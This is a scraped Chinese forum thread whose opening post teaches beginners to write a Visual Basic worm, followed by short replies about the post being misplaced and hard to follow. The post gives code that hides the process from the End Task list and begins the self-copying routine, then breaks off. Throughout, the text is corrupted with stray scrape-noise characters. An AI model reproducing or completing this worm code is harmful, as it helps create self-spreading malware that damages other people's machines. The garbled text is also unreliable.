VB病毒编写——初学编程者必备

<>
, L# o* J9 H/ r) `1 a/ A) M
( X1 P, A! T; H& y1 m( eVB病毒编写——初学编程者必备</P>
4 v; T* b; j4 E: |; f/ u0 ?<>要编写一个蠕虫吗？很简单，只须有基本的编程概念就可以了。如果你没有编程的基本概念，我建议你去学习编程，才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧！</P>
<>打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project-&gtroject1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：</P>
<>Sub Main()
+ _2 s# d) _" {3 Y- v: Z+ z'TaskVisible的功能是把程序在End Task表中除掉。
# Y4 O& {# q; }' L7 I2 iApp.TaskVisible = False
End Sub</P>
<>以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码：</P>
<>'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
( G" ]- l) J2 I4 gLocation = App.Path &amp; "\" &amp; App.EXEName &amp; ".exe"
Location2 = App.Path &amp; App.EXEName &amp; ".exe" </P>

怎么贴这里来了？

<>汗</P><>发错了的</P><>乐乐</P><>帮我移下</P>

晕倒,好像满难的,还好我是学信息专业的

<>哇哈哈</P><>别人教的</P>

别人教你的啊

倒.....

<>学vb学了快两年了，怎么还看不懂</P><>郁闷中</P>